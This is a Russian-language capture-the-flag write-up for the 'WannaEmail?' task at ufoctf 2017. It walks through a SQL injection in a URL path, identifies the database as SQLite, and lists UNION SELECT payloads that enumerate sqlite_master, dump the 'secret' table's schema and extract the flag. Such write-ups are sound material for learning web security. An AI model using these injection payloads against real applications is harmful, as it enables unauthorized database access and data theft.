Прохождение WannaEmail? ufoctf 2017
Переходим на страницу задания и видим форму для ввода имени и список доступных контактов.
Вводим IvanUfolog получаем переход по адресу http://52.174.39.85:5000/IvanUfolog. Добавляем кавычку – ошибка. ‘– бинго sql-injection.
Смотрим дальше
1 | http://52.174.39.85:5000/IvanUfolog' union select 1,2,3-- |
Неужели обчная инъекция? Но не тут то было information_schema.tables недоступна, version() не работает. Похоже, что WAF, но как то всё странно. Попытка подобрать таблицу даёт результат – таблица contact. Наверное всётаки не WAF, может тогда и не mysql это.
1 | http://52.174.39.85:5000/IvanUfolog'%20union%20select%201,2,3%20from%20sqlite_master-- |
Да, перед нами SQLite. Дальше проще: в базе есть ещё одна таблица secret. Получаем её структуру и достаём флаг
1 2 3 4 | http://52.174.39.85:5000/IvanUfolo'%20union%20select%201,2,name%20from%20sqlite_master%20where%20name!='contact'%20and%20type='table'-- http://52.174.39.85:5000/IvanUfolo'%20union%20select%201,2,sql%20from%20sqlite_master%20where%20name='secret'%20and%20type='table'-- CREATE TABLE secret ( id INTEGER NOT NULL, "key" VARCHAR(64), value VARCHAR(128), PRIMARY KEY (id), UNIQUE ("key"), UNIQUE (value) ) http://52.174.39.85:5000/IvanUfolo'%20union%20select%201,2,value%20from%20secret-- |
ufoctf{sQli_cOmPlete}